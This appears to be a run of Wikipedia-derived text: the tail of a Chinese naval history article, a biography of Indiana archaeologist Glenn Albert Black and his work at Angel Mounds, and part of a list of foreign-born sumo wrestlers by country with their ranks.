Nanyang Fleet
Fujian Fleet
Guangdong Fleet
First and Second Opium Wars
Sino-French War
Battle of Foochow
Battle of Shipu
First Sino-Japanese War
Battle of Yalu River (1894)
Battle of Weihaiwei
Republic of China
Republic of China Navy
Second Sino-Japanese War
Battle of Wuhan
Landing Operation on Hainan Island
First Taiwan Strait Crisis
Second Taiwan Strait Crisis
Third Taiwan Strait Crisis
People's Republic of China
People's Liberation Army Navy
First Taiwan Strait Crisis
Second Taiwan Strait Crisis
Battle of the Paracel Islands
Third Taiwan Strait Crisis
Spratly Island Skirmish (1988)
Chinese naval warfare gallery
See also
Military history of China before 1912
Military history of China after 1911: PLA, ROCA
History of canals in China
History and technology of the Song Dynasty
Chinese exploration
Imperial Chinese Navy
Sailors in Ming China
References
Citations
Sources
External links
中国海军史研究会
https://web.archive.org/web/20070403091924/http://www.cronab.demon.co.uk/china.htm
http://www.battleships-cruisers.co.uk/chinese_navy.htm
Chinese online warship museum
Military history of China
Maritime history of China
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Glenn Albert Black
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Glenn Albert Black (August 18, 1900 –September 2, 1964) was an American archaeologist, author, and part-time university lecturer who was among the first professional archaeologists to study prehistoric sites in Indiana continuously. Black, a pioneer and innovator in developing archaeology field research techniques, is best known for his excavation of Angel Mounds, a Mississippian (A.D. 1050–1450) community near present-day Evansville, Indiana, that he brought to national attention. Angel Mounds was designated a National Historic Landmark in 1964. Black was largely self-taught and began serious work on archaeological sites in Indiana in the 1930s, before there were many training opportunities in archaeology in the United States. He is considered to have been the first full-time professional archaeologist focusing on Indiana's ancient history, and the only professional archaeologist in the state until the 1960s. During his thirty-five-year career as an archaeologist in Indiana, Black also worked as a part-time lecturer at Indiana University Bloomington from 1944 to 1960 and conducted a field school at the Angel site during the summer months.
Black's major public works include "Excavation of the Nowlin Mound: Dearborn County Site 7, 1934-1935" (1936) and the two-volume study, Angel Site: An Archaeological, Historical and Ethnological Study (1967), which was posthumously published. Black received financial support and encouragement for his work from his friend, Eli Lilly. Wabash College awarded him an honorary Doctor of Science degree in 1951. Black, a founding member of the Society for American Archaeology, served as its president (1941–1942), vice president (1939–1940), and treasurer (1947–1951). The Glenn A. Black Laboratory of Archaeology, established in 1965 on the Indiana University campus in Bloomington, Indiana, was named in his honor and dedicated on April 21, 1971; it continues to encourage academic research, as well as preserving and exhibiting Indiana's archaeological history.
Early life and education
Glenn Albert Black was born on August 18, 1900, in Indianapolis, Indiana, to Emma (Kennedy) and John A. Black. Glenn's father, a wholesale grocery clerk, died in 1912, when Glenn was about twelve years old. Black attended public schools in Indianapolis and graduated from Arsenal Technical High School in 1916. After high school, he played drums in the Sacramento Syncopators, a traveling Dixieland band. By 1926 Black was working as a cost estimating engineer for Fairbanks, Morse and Company, an industrial scales manufacturer. During his free time, he studied archaeology and the prehistory of Indiana as a hobby. Black visited prehistoric sites around Indiana before volunteering in November 1930 to assist the Indiana Historical Society with archaeological surveys.
As with many archaeologists in the 1910s and 1920s, Black did not attend college. He was largely self-taught. His only formal professional training in archaeology was with Henry C. Shetrone in Columbus, Ohio, at the Ohio State Museum, where he worked from October 1931 to May 1932. Black was awarded an honorary doctor of science degree from Wabash College in 1951.
Personal life
Black and Ida May Hazzard married On October 27, 1931. She shared his interest in archaeology and joined him in the excavations at Nowlin Mound. The couple moved to the Angel Mounds site in the late 1930s.
Career
Most of Black's research took place in Indiana. He began archaeological work in the 1930s, when the field began to mature as a profession and in the years before there were many training opportunities in archaeology in the United States. Although he never attended college and did not earn a degree in archaeology, Black is considered to have been the first full-time professional archaeologist focusing on Indiana's ancient history. He was also the only professional archaeologist in the state
until the 1960s. In addition, Black became a well-respected researcher, an Indiana University lecturer, an author, and an authority on the prehistory of Indiana.
Early archaeology career
Black launched his career as a professional archeologist after volunteering in 1927 at Albee Mound in Sullivan County, Indiana. (Albee Mound was the first professional archaeological excavation in Indiana.) Black also worked on the Whitewater Valley archaeological survey in Indiana in the late 1920s. Both projects were led by Christopher B. Coleman, director of the Indiana Historical Commission (which later became the Indiana Historical Bureau), and J. Arthur MacLean, director of the John Herron Art Institute, and sponsored by the Indiana Historical Society. Through these projects, Black met and befriended Eli Lilly, who became president of Eli Lilly and Company in 1932. Lilly shared Black's interest in Indiana prehistory and financially supported and encouraged Black's archaeological career. Lilly paid for Black's studies in Ohio and initially funded Black's archaeological work in Indiana with his own funds, including Black's salary during his early years at the Indiana Historical Society.
Indiana archaeologist
In November 1930, Black wrote to Dr. Coleman to volunteer his services as an archaeologist, and in 1931, when the Fairbanks, Morse and Company relocated to Wisconsin, Black resigned his position in order to stay in Indiana and support his family. In May 1931, the Indiana Historical Society hired Black to serve as a local guide and driver to Warren K. Moorehead, a nationally known archaeologist from Ohio State University and the Peabody Foundation who helped create archaeological programs for the study of the eastern part of the United States; Eli Lilly, who served as the president of the Indiana Historical Society from 1932 to 1947; and E. Y. Guernsey, who did archaeological work for Indiana Historical Society. The purpose of their trip was to assess Indiana archaeological sites. In June 1931, Lilly and the Indiana Historical Society hired Black to continue archaeological work in the state.
Most of Black's thirty-five-years as an archaeologist were spent as the Indiana Historical Society's director of archaeology and its only archaeologist on staff. Black, Lilly, and Paul Weer (one of Lilly's friends), developed a multidisciplinary research program for Indiana in the 1930s. In order to conduct research, Black became proficient in several areas: surveying, cartography, drafting, photography, and geophysics. He also used new technologies and worked with scientists from other fields.
Black traveled the state investigating and reporting on archaeological sites. In the fall of 1931, Moorehead recommended sending Black to Greene County, Indiana, to begin surveys in the area. In October 1931, Black went to Columbus, Ohio, to study the collections at the Ohio State Museum and to receiver further training in field excavations. Black returned to Green County in 1932 to conduct excavations in conjunction with the Indiana Historical Bureau.
In 1933, Black assisted on a survey of Dearborn County, Indiana, and Ohio counties to record sites such as Nowlin Mound. Black also led excavations at Nowlin Mound, his first major project, which began in 1934. His meticulous excavation methods and detailed published report, "Excavation of the Nowlin Mound: Dearborn County Site 7, 1934-1935," written with James Bennett Griffin and Frederick R. Matson Jr., provided a well-documented description of the mound structure. The project also "served as the model for all subsequent excavations on like contexts." The Nowlin Mound report included a history of the mound and details of excavation, including a description of its construction and artifacts. According to James H. Keller, who was Black's biographer, "Probably no more precise description of mound structure is in print than that contained in the Nowlin Mound report."
Walam Olum investigations
In the 1930s, Black participated in a controversial multidisciplinary investigation of the Walam Olum, a disputed account of the creation of the Delaware (Lenape) tribe. Black contributed a chapter to Walam Olum or Red Score: The Migration Legend of the Lenni Lenape or Delaware Indians: A New Translation, Interpreted by Linguistic, Historical, Archaeological, and Physical Anthropological Studies (1954). His analysis of archaeological data supported the assertion that the Delaware might have been the prehistoric group responsible for the Hopewell culture in the Ohio River valley. To support his claim, Black used early historic documents and maps from the Midwest and the East, much of it unpublished, and without any knowledge of radiocarbon dating for the archaeological sites. James B. Griffin, who reviewed the book in the Indiana Magazine of History, did not believe the archaeological evidence supported the Walam Olum'''s migration account. Although Griffin remained skeptical of Black's suggestion that there were similarities between the historic Delaware tribe and prehistoric mound builders of the Ohio, Griffin respected the evidence that Black presented to show the connections between the groups.
The team's investigations of the Walum Olum were rejected by other professionals at the time. Historians now consider the Walum Olum to be a hoax and believe that Constantine Samuel Rafinesque created the materials to support his assertion that North America's natives had European origins. Because of the controversies and criticisms surrounding the research team's conclusions, Black ended all subsequent investigations on the Walum Olum, but he continued with other ethnological research. In 1936, Black began excavation of documented villages that were believed to have been inhabited by the Miami, Shawnee, and Potawatomi people during the seventeenth and eighteenth centuries before he turned most of his attention to Angel Mounds.
Angel Mounds excavation
Black first encountered Angel Mounds, a Mississippian (A.D. 1050–1450) community near present-day Evansville, Indiana, in 1931, when it was one of the sites that he visited during a tour of Indiana's archeological sites.Footnote 3 in The Indiana Historical Society bought the Angel site in 1938 with funding from Eli Lilly. The archaeological site, which was in danger of being incorporated into the City of Evansville, was acquired to protect and preserve it for future research and education.Footnote 7 in Black thought that Angel Mounds would provide an opportunity to conduct a long-term study of a single archaeological site. By 1939, Glenn and Ida Black had moved into a house on the property. From 1939 to 1964, Black devoted more than two decades of study at the Angel site, beginning with a large crew of Works Projects Administration workers prior to World War II. Students participating in field course work continued excavation during the summer months after the war. Excavation was still underway when Black died unexpectedly in 1964.
Black was responsible for the identification of Native American archaeological sites in Indiana, but his primary effort was at Angel Mounds, which he brought to national attention. From 1939 to 1942, as part of President Franklin D. Roosevelt's New Deal, WPA worker excavated the site under Black's direction, employing more than 250 people and excavating of the site. The effort resulted in the recording and processing of 2.3 million archaeological items.Footnote 9 in Black also operated a field training for student archaeologists at Angel Mounds from 1945 through the summer of 1962, although World War II temporarily halted excavation from 1941 to 1945. Further research and excavation at the site resumed in 1945 as part of the Indiana University Archaeology Field School.
Control of Angel Mounds is transferred to the state of Indiana in 1946. but the Indiana Historical Society retained rights to excavate the site and Black remained on the property as its caretaker.Ruegamer, pp. 284. Between 1958 and 1962, two National Science Foundation grants provided financial support to Black's efforts to apply geophysical applications to archaeological sites. Black and his student assistants tested a proton magnetometer's potential use in locating subsurface features at archaeological sites, extending the work begun by the University of Oxford's Research Laboratory for Archaeology and the History of Art. Black and his students traced segments of the palisade walls at Angel Mounds that were not visible from the surface.Gugin and St Clair, eds., pp. 21–22. This project made Black among the first prehistorians to make "comprehensive tests in the Americas" to assess the proton magnetometer's potential on a New World site. Angel Mounds was designated a National Historic Landmark in 1964. In addition, his innovative excavation techniques were partially adopted by the University of Chicago Field School, one of the few training programs in archaeological field techniques in the United States in the first half of the 20th century.
Affiliation with Indiana University
In 1944, Black was appointed a lecturer in archaeology at Indiana University's Department of Zoology (where the school's archaeology studies first resided). He became a founding member of IU's Department of Anthropology in 1947, and remained a part-time lecturer in the department until he retired from teaching in 1960. Black maintained his residence near Angel Mound and commuted each week from Evansville to Bloomington, Indiana, to teach. Black trained hundreds of students through his courses in Bloomington and 120 more students as the director of the field school at Angel Mounds during the summer months.Kellar, "Glenn A. Black," Indiana Magazine of History, p. 52.
Other interests
In 1934, Black became a founding member of the Society for American Archaeology and served as the organization's vice president (1939–1940), council member (1940–1941), president (1941–1942), and treasurer (1947–1951). He also became a member of the Indiana Academy of Science in 1932 and served as chairman of its archaeology division (1936 –1938). In addition, he served on the National Research Council (1957–1960).Footnote 11 in
Later Years
Black was awarded an honorary Doctor of Science degree from Wabash College in 1951, and retired from lecturing at IU in 1960. Black was seen as the only professional archaeologist practicing in Indiana until the 1960s. From 1963-64, Black and the site team completed excavation of the large mound, at the Angel site. He spent his final years working on the manuscript for a book about his work at Angel Mounds.
Death and legacy
Black died on September 2, 1964, at Deaconess Hospital in Evansville, Indiana, after suffering a heart attack while excavating at Angel Mounds.
According to James H. Kellar, Black was "the first professional archaeologist continuously involved in the study of Indiana's prehistoric past." Black, the only archaeologist in Indiana for most of his professional life, "redefined archaeological field methodology, and brought systematic excavations and innovative technology to the field." His work at Nowlin Mound and the subsequent report published in the Indiana History Bulletin in July 1936 are considered "landmarks in the history of American field archaeology."
Black is best known for the excavation of Angel Mounds near Evansville, Indiana, that took place between 1938 and 1964, as well as his posthumously-published book, Angel Site: An Archaeological, Historical and Ethnological Study'' (1967). Black died before his manuscript was published; however, James Kellar completed the two-volume work using Black's unfinished manuscripts and research notes. The book includes Black's descriptions of the site's archaeological features and artifacts, as well as descriptions of its history and setting.
Angel Mounds, the primary subject of Black's investigations, was designated a National Historic Landmark in 1964. The Indiana Historical Society transferred its excavation rights at Angel Mounds to Indiana University in 1965; the Indiana State Museum and Historic Sites is the present-day manager of the site.
The Glenn A. Black Laboratory of Archaeology on the Indiana University campus in Bloomington, Indiana, was established in 1965, when the Lilly Endowment (through funding from Eli Lilly) made a gift of US$300,000 to construct a building to house, exhibit, and research prehistory and Indiana archaeology. The present-day facility was named in Black's honor and dedicated April 21, 1971. The building was initially intended to house Lilly's archaeological collation, as well as Black's materials on Angel Mounds. The laboratory, its collections, library, and museum continue to encourage academic research, as well as preservating and exhibiting Indiana's archaeological history.
Selected published works
2 volumes.
"An Archaeological Consideration of the Walam Olum" in
Honors and awards
1951, awarded an honorary Doctor of Science degree from Wabash College
2018, the Indiana Historical Bureau, the Indiana State Museum and Historic Sites, the Glenn A. Black Laboratory of Archaeology, the Indiana Historical Society, and Friends of Angel Mounds and Cultural Resources Analysts honored Black and his archaeological contributions with a state historical marker erected at his former home on the Angel Mounds property in Evansville, Indiana.
Notes
References
(As of July 2019, website is closed.)
Further reading
External links
"100+ years of history," (historical timeline), Department of Anthropology at Indiana University, Bloomington
1900 births
1964 deaths
Pre-Columbian scholars
Indiana Historical Society
Scientists from Indiana
20th-century American archaeologists
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https://en.wikipedia.org/wiki/List%20of%20non-Japanese%20sumo%20wrestlers
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List of non-Japanese sumo wrestlers
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This is a list of foreign-born professional sumo wrestlers by country and/or ethnicity of origin, along with original name, years active in sumo wrestling, and highest rank attained. Names in bold indicate a still-active wrestler.
There are 186 wrestlers who have listed a foreign country as their place of birth on the banzuke or official ranking sheets. The first foreign born wrestler to reach the top makuuchi division was the Hawaiian born Takamiyama in January 1968, who was also the first to win a top division tournament championship or yūshō in 1972. He was followed by fellow Hawaiians Konishiki who was the first foreigner to reach the second highest ōzeki rank in 1987, and American Akebono who became the first foreign yokozuna, the highest rank, in 1993. In 1992, following the entry of six Mongolians to Ōshima stable, there was an unofficial ban (called enryo or "restraint") instigated by the Japan Sumo Association's head Dewanoumi on any more foreign recruitment. Speaking at a Western Japan Press Club luncheon in Osaka in 1995, Dewanoumi reportedly said, "There are no official regulations, but stable masters have a tacit agreement not to scout foreigners actively because they have difficulty adapting to Japanese customs." In 1998 this ban was relaxed but there was also the first official restrictions, a cap of forty foreigners in professional sumo as a whole, not counting those who had obtained Japanese citizenship. In February 2002 this was changed to one foreigner per heya or training stable, although foreigners recruited prior to the rule change were not affected. Despite these restrictions, foreigners began to dominate the highest levels of the sport. By 2013, foreign born wrestlers made up just seven percent of the 613 wrestlers active in professional sumo, yet occupied one third of the 42 spots in the top division. No Japanese-born wrestler won a top division tournament between Tochiazuma in January 2006 and Kotoshōgiku in January 2016, with 56 of the 58 tournaments held in that period won by Mongolians.
Several foreign-born sumo wrestlers have become sumo elders after their retirement as wrestlers.
Argentina
Hoshiandesu Hose - José Antonio Juarez - 1988–2000 - juryo 2
Hoshitango Imachi - Imachi Marcelo Salomon - 1987–2004 - juryo 3
Bolivia
Kirameki Takayoshi - Daniel Velez-Garcia - (Aichi) - 2020–2021 - sandanme 70
Brazil
Agora # - Lucas Kazuo Iima - Japanese-Brazilian - 2023–present - jonokuchi 15
Azumakaze Futoshi - Tuzatto Giuliano Kochinda - Italian-Brazilian - 1991–1999 - sandanme 29
Azumao Yasuhito - Yasuhito Marcio Morita - Japanese-Brazilian - 1994–2005 - makushita 36
Hakusan Momotaro - Pasquale Bosche - Italian-Brazilian - 1977–1986 - makushita 9
Kaisei Ichirō § - Ricardo Sugano - Japanese-Brazilian - 2006–2022 - sekiwake
Kaishin Kikuzo - Eiji Nagahama - Japanese-Brazilian - 2004–2012 - makushita 49
Kawamura Kosaku - Kosaku Kawamura - Japanese-Brazilian - 1976–1983 - sandanme 41
Kitaazuma Kiyoshi - Tetsuya Takeda - Japanese-Brazilian - 1991–1998 - makushita 18
Kiyonomine Minoru - Mario Minoru Akamine - Japanese-Brazilian - 1979–1989 - makushita 18
Kotonomori Takamori - Mario Fuchiue - Japanese-Brazilian - 1999–2000 - jonidan 69
Kotoosako Shigeaki - Shigeaki Julio Osako - Japanese-Brazilian - 1991–1994 - jonidan 106
Kuniazuma Hajime - Wander Ramos - 1991–2004 - juryo 4
Kuninosato Toshio - Roberto Toshio Wada - Japanese-Brazilian - 1980–1992 - makushita 23
Ryūkō Gō - Luis Go Ikemori - Japanese-Brazilian - 1992–1998 - juryo 8
Takaazuma Katsushige - Christiano Luis de Souza - 2004–2008 - makushita 24
Tatsunishiki - Yoshihira Takeuchi - Japanese-Brazilian - 1967–1971 - jonidan 6
Wakaazuma Yoshinobu - Yoshinobu Kuroda - Japanese-Brazilian - 1991–2003 - juryo 13
NOTE: (#) marks active foreign-born wrestler credited with Japanese shushin (hometown), and hence not counting against current one-foreigner-per-heya restriction; (§) marks a retired foreign-born wrestler who became a sumo elder.
Bulgaria
Aoiyama Kōsuke ‡ - Daniel Ivanov - 2009–active – sekiwake
Kotoōshū Katsunori § - Kaloyan Stefanov Mahlyanov (Karoyan Andō) - 2002–2014 - ozeki
Torakiō Daiki - Ventsislav Katsarov - 2017–2019 - sandanme 15
NOTES: (‡) marks active foreign-born wrestler naturalized as Japanese citizen; (§) marks a retired foreign-born wrestler who became a sumo elder.
Canada
Homarenishiki Yasokichi - Brodik Mackenzie Philip Henderson - 2015–2016 - sandanme 46
Kototenzan Toshimitsu - John Anthony Tenta Jr. - 1985–1986 - makushita 43
China
Chiyohakuryu Koto - Koto Haku (白光斗) - Nei Monggol - 2004–2011 - sandanme 22
Daiseizan Daisuke - Asihada - Nei Monggol - 2022–active - sandanme 67
Kaiho I - Yi Pan - Shanghai - 1990–1992 - jonidan 79
Kanoyama Sunyo - Chengyue Xie - 1991–1992 - jonokuchi 22
Kiyonohana Oyo - Lihua Zhang (Kazushi Yoshida) - Fujian - 1974–1978 - juryo 5
Kosei Ko - Shiqiang Gao (高世強) - Liaoning - 2003–2017 - makushita 14
Kotoō Shuton - Shidong Wang (王世東) - Shandong - 1992–1993 - sandanme 9
Manazuru Hisashi - Songsong Cheng - Beijing - 2004–2015 - sandanme 13
Nakanokuni Sho - Chao Lu - Beijing - 2002–2012 - juryo 12
Ryutei Weifu - Weifu Li - Shandong - 2004–2013 - sandanme 3
Sōkokurai Eikichi § - Enkhtuvshin - Nei Monggol - 2003–2020 - maegashira 2
Takao Yu - Yu Wan - Shanghai - 1991–2003 - sandanme 41
Wakashoji Ano - Ano Cho - Jilin - 2010–2010 - jonokuchi 22
NOTES: Hong Kong and Taiwan are listed separately; (§) marks a retired foreign-born wrestler who became a sumo elder.
Czech Republic
Takanoyama Shuntarō - Pavel Bojar - 2001–2014 - maegashira 12
Egypt
Ōsunaarashi Kintarō - Abdelrahman Alaa el-Din Mohamed Ahmed Shalan – 2012–2018 – maegashira 1
Estonia
Baruto Kaito - Kaido Höövelson - 2004–2013 - ozeki
Kitaoji Oto - Ott Juurikas - 2004–2004 - jonidan 114
Georgia
Gagamaru Masaru - Teimuraz Jugheli - 2005–2020 - komusubi
Kokkai Futoshi - Levan Tsaguria - 2001–2012 - komusubi
Tochinoshin Tsuyoshi - Levan Gorgadze - 2006–2023 - ōzeki
Tsukasaumi Joji - Merab George Tsaguria - 2005–2006 - sandanme 18
Hong Kong
Seiko - Zhenbang Gu - 1987–1989 - jonidan 88
Hungary
Masutoo Akira - Attila Toth - 2005–2021 - makushita 8
Indonesia
Kotoanbai Ken - Ken Anbai - 2015–2015 - jonokuchi 25
Japanese-born of non-Japanese or mixed ethnicity
Asakomiya Masahiro - Masahiro Komiya - Korean-Japanese (Saitama) - 2006–2007 - jonokuchi 42
Baraki Genki - Baraki Ito - Filipino-Japanese (Saitama) - 2013–active - makushita 58
Daishoyu Maabin - Marvin Lee Sano Jr - American-Japanese (Tokyo) - 2006–2008 - makushita 18
Fujinohana Rei - Rei Saito - American-Japanese (Miyagi) - 2009–2017 - sandanme 16
Fujinoumi Jun - Jun Saito - American-Japanese (Miyagi) - 2009–2017 - makushita 47
Hayashiryu Ryu- Ryu Hayashi - Filipino-Japanese (Nagano) - 2022–active - jonidan 84
Hokuozan Kokichi - Hikari Hagiwara - Turkish-Japanese (Hokkaido) - 2020–active - makushita 35
Itadaki Sennosuke - Masahiko Kikuchi - Canadian-Japanese (Tokyo) - 2010–active - makushita 18
Ikazuchido - Neri Yamada - Nigerian-Japanese (Saitama) - 2022–active - jonidan 54
Kaitoma Aron - Mark Aron Justin Toma - Brazilian-Japanese-Filipino (Kanagawa) - 2017–active - jonidan 2
Kanazawa Hidetoshi - Hidetoshi Kanazawa (Aichi) - 2022–active - jonidan 80
Kaneshiro Kofuku - Kofuku Kaneshiro - Korean-Japanese (Miyazaki) - 1974–1987 - sekiwake
Maenoyama Tarō - Kazuichi Kaneshima - Korean-Japanese (Osaka) - 1961–1974 - ozeki
Maikeru Shuki - Maikeru Hayashi - Filipino-Japanese (Fukui) - 2017–active - makushita 29
Mienoumi Tsuyoshi - Goro Ishiyama - Korean-Japanese (Mie) - 1963–1980 - 57th yokozuna
Nabatame Tatsuya - Tatsuya Nabatame - Thai-Japanese (Tochigi) - 2020–active - makushita 20
Rao Nozomu - Rao Ito - Filipino-Japanese (Saitama) - 2011–active - makushita 37
Rinko Rei- Rei Hayashi - Filipino-Japanese (Nagano) - 2022–active - jonidan 85
Ryuga Tsunetaka - Corvin Ryuga Delzatto - American-Japanese (Kanagawa) - 2018–2020 - jonidan 80
Sentoryū Henri - Henry Armstrong Miller - African-American/Japanese (Tokyo - raised in Missouri) - 1988–2003 - maegashira 12
Taiga Koji - Taiga Tanji - Russian-Japanese (Fukushima) - 2018–active - makushita 45
Taihō Kōki - Koki Naya (Ivan Boryshko) - Ukrainian-Japanese (Karafuto) - 1956–1971 - 48th yokozuna
Takagenji Satoshi - Satoshi Kamiyama - Filipino-Japanese (Tochigi) - 2013–2021 - maegashira 10
Takanofuji Sanzō - Tsuyoshi Kamiyama - Filipino-Japanese (Tochigi) - 2013–2019 - jūryō 5
Takayasu Akira - Akira Takayasu - Filipino-Japanese (Ibaraki) - 2005–active - ozeki
Tamanoumi Masahiro - Masao Takeuchi - Korean-Japanese (Aichi) - 1959–1971 - 51st yokozuna
Tamarikidō Hideki - Hideki Yasumoto - Korean-Japanese (Tokyo) - 1997–2010 - maegashira 8
Tanji Jun - Jun Tanji - Russian-Japanese (Fukushima) - 2022–active - jonidan 43
Tochinowaka Michihiro - Daewon Lee - Korean-Japanese (Hyogo) - 2007–2015 - maegashira 1
Tsuyukusa Kazuki - Tsuyukusa Kazuki - Polish-Japanese (Kanagawa) - 2016–2020 - makushita 51
Wakatosho Toshio - Toshio Kanemoto - Korean-Japanese (Chiba) - 1985–1993 - jūryō 9
Kazakhstan
Kazafuzan Taiga - Suyenesh Khudibayev (Сүйініш Худибаев / Суйиниш Худибаев) - 2003–2014 - makushita 10
Kinbōzan Haruki - Baltagul Yersin (Балтағұл Ерсін) - 2021–active - maegashira 14
Korea, North
Rikidōzan Mitsuhiro* - Shin-rak Kim (김신락) / Mitsuhiro Momota (百田光浩) - 1940–1950 - sekiwake
NOTE: Korea was under Japanese rule from 1910 to 1945. Japanese-born Koreans are noted above. Rikidōzan was officially recorded with a shusshin (hometown) of Ōmura, Nagasaki so is not regarded as having been a foreign rikishi by the Sumo Association.
Korea, South
Chiinoyama Shoichiro* - Shoichiro Toyokawa - 1940–1945 - juryo 3
Harimayama Hanataro - Sangjin Hong (홍상진 洪相鎭) - 1990–1994 - makushita 58
Kaihakuzan Yungi - Yoongi Baek (백윤기 白允基) - 1999–2000 - sandanme 49
Kasugaō Katsumasa - Sungtaek Kim (김성택 金成澤) - 1998–2011 - maegashira 3
Kinryuzan Jongun - Jonggeun Kim (김종근 金鍾根) - 2003–2009 - sandanme 42
Koraiyama Yoshisuke - Gilryang Seo (서길량 徐吉亮) - 1969–1981 - makushita 11
Kotoyanagi - Shigeki Nishimoto (西本重煕) - 1983–1985 - jonidan 78
Kunimiyama - Kiju Kim (김기주 金基柱) - 1977–1988 - makushita 27
Kuninofuji Kiifun - Kihun Song (송기훈 宋基勳) - 2001–2002 - jonidan 109
Kyoryu Yoshitsuru - Seonhak Park (박선학 朴善鶴) - 1975–1983 - makushita 15
Nankaiyama Shigehide - Naruhide Kan / Seongyeong Kang (강성영 姜成英) - 1969–1971 - makushita 57
Nanzan Shuko - Suhyeong Chae (채수형 蔡洙亨) - 1990–1992 - sandanme 54
Soranoumi Ichiriki - Sooyong Kim (김수영 金樹泳) / Juei Ōzora (大空樹泳) - 1999–2019 - makushita 25
Watenko - Kazuo Hayashi - 1966–1970 - sandanme 80
Yamada Narihide - Seongyeong Yu (유성영) / Narihide Yamada (山田成英) - 2004–2006 - jonidan 31
NOTE: Korea was under Japanese rule from 1910 to 1945. Japanese-born Koreans are noted above.
Mongolia
Aratoshi Mitsuo - Tserendorj Wanchigutseren - 2008–2016 - makushita 39
Arauma Toru - Battogtokh Turtogtokh - 2020–active - makushita 26
Arawashi Tsuyoshi - Dulguun Erkhbayar - 2002–2020 - maegashira 2
Asahiryū - Denzensambu Batzorig - 2016–2019 - makushita 23
Asahitaka Koichi - Bat-Orgil Tserenchimed - 1992–1993 - sandanme 97
Asasekiryū Tarō - Badarchiin Dashnyam - 2000–2017 - sekiwake
Asashōryū Akinori - Dolgorsürengiin Dagvadorj - 1999–2010 - 68th yokozuna
Azumaryū Tsuyoshi - Todbileg Sanduljav - 2008–active - maegashira 14
Bontensho Yuki - Naidan Bayarkhuu - 2001–2003 - jonidan 25
Chiyoshōma Fujio - Ganbaatar Munkhsaikhan - 2009–active - maegashira 2
Daibanjaku Hisashi - Batsukh Khaidavmunkh - 1999–2004 - sandanme 10
Daionami Masaru - Batbaatar Uuganbayar - 2001–2016 - makushita 33
Daishōchi Kenta - Ulambayaryn Byambajav - 2001–2005 - makushita 15
Daishoho Kiyohiro - Shijirbayar Chimidregzen - 2013–active - maegashira 9
Daitenshō Ken - Norjinkhand Ayurzana - 2001–2010 - makushita 7
Daitenzan Noritaka - Ganbat Batzaya - 2001–2005 - makushita 58
Daiyubu Ryusen - Davaadorj Undrakh - 2001–2010 - juryo 10
Dewahikari Tsutomu - Ulziisuren Tsolmon - 2002–2009 - sandanme 3
Dewanoryu Kazuki - Tumurbaatar Temuulen - 2019–active - makushita 3
Fudoyama Subaru - Nyamjav Luvsandorj - 2000–2008 - sandanme 38
Gochozan Masashi - Delgersaikhan Uuganbaatar - 2006–2020 - makushita 7
Hakuba Takeshi - Ariunbayar Unurjargal - 2000–2011 - komusubi
Hakuhō Shō § - Mönkhbatyn Davaajargal - 2001–2021 - 69th yokozuna
Harumafuji Kōhei - Davaanyamyn Byambadorj - 2001–2017 - 70th yokozuna
Hokuseihō Osamu # - Davaaninj Ariunaa (Hokkaido) - 2020–active - maegashira 11
Hokutenkai Aoi - Sukhbat Galdan - 2019–active - makushita 5
Hokutomaru Akira - Nasanjargal Chinzorig - 2018–active - makushita 32
Hoshihikari Shin'ichi - Duvchin Lhagva - 2000–2011 - juryo 1
Hoshikaze Yoshihiro - Bold Amarmend - 2002–2011 - juryo 3
Hoshizakura Aruta - Myagmar Altangerel - 2000–2012 - makushita 12
Hōshōryū Tomokatsu - Sugarragchaa Byambasuren - 2018–active - ozeki
Ichinojō Takashi ‡ - Altankhuyag Ichinnorov - 2014–active - sekiwake
Kagamiō Hideoki - Nanjid Batkhuu - 2003–active - maegashira 9
Kakuryū Rikisaburō § - Mangaljalavyn Anand - 2001–2021 - 71st yokozuna
Kengo Shin - Turtuvshin Baatarkhuu - 2010–2011 - jonidan 63
Kirishima Tetsuo - Lkhagvasuren Byambachuluun - 2015–active - ōzeki
Kitakasuga Ikko - Munkhbat Tsolmonbayar - 1999–2005 - sandanme 18
Kōryū Tadaharu - Erdene Munhk-Orgil - 2000–2011 - maegashira 11
Kotokenryu Takeaki - Gantulga Bilguun - Töv - 2022–active - sandanme 49
Kyokujishi Masaru - Tumendemberel Losol - 1992–1992 - jonidan 59
Kyokusetsuzan Eiji - Munkhbold Sharaa - 1992–1992 - jonidan 91
Kyokushūhō Kōki - Erdenebaatar Tumurbaatar - 2007–2022 – maegashira 4
Kyokushūzan Noboru - Davaagin Batbayar - 1992–2006 - komusubi
Kyokutenhō Masaru § - Nyamjavyn Tsevegnyam - 1992–2015 - sekiwake
Kyokutenzan Takeshi - Batmönkhiin Enkhbat - 1992–2008 - makushita 13
Maenoyu Taro - Gankhyag Naranbaatar - 2004–2007 - makushita 25
Mitoryū Takayuki - Turbold Baasansuren - 2017–active - maegashira 16
Mōkonami Sakae - Ganbold Bazarsad - 2001–2011 - maegashira 6
Oniarashi Chikara - Ulziibayar Ulziijargal - 2000–2014 - juryo 7
Ōshōma Degi - Purevsuren Delgerbayar - 2021–active - juryo 13
Ryūō Noboru - Erkhem-Ochiryn Sanchirbold - 2000–2013 - maegashira 8
Ryuonami Katsuteru - Battugs Buyanjargal - 2010–2017 - makushita 11
Sadanohikari Shinta - Narantsogt Davaanyam - 2014–active - makushita 29
Sakigake Takeshi - Yagaanbaatar Battushig - 2003–2022 - juryo 10
Seirō Takeshi - Amgaa Unubold - 2005–2020 - maegashira 14
Senho Tsubasa # - Tsubasa Hasegawa - Japanese-Mongolian (Aichi) - 2019–active - sandanme 36
Senshō Hideki - Enkhbaatar Bayarbat - 2001–2015 - juryo 14
Shironoryu Yasumasa - Erdenetsogt Odgerel - 2003–2013 - juryo 1
Shōtenrō Taishi - Dagdandorj Nyamsuren - 2001–2018 - maegashira 2
Taiga Kisho - Sumiyabazar Sharbuyanhuu - 2001–2014 - makushita 19
Takanoiwa Yoshimori - Adiya Baasandorj - 2008–2018 - maegashira 2
Tamashōhō Manpei - Erdenebileg Enkhmanlai - 2011–active - jūryō 5
Tamawashi Ichirō - Batjargal Munkh-Orgil - 2004–active - sekiwake
Terunofuji Haruo ‡ - Gantulga Gan-Erdene - 2011–active - 73rd yokozuna
Tokisoma Baira - Ankhbayar Batbayar - 2017–active - makushita 25
Tokitenkū Yoshiaki - Altangadasyn Khüchitbaatar- 2002–2016 - komusubi
Tokusegawa Masanao - Ganbold Badamsambuu - 2003–2011 - maegashira 1
Toranoyama Kiyokazu - Ganbold Bat-Undral - 2001–2009 - sandanme 21
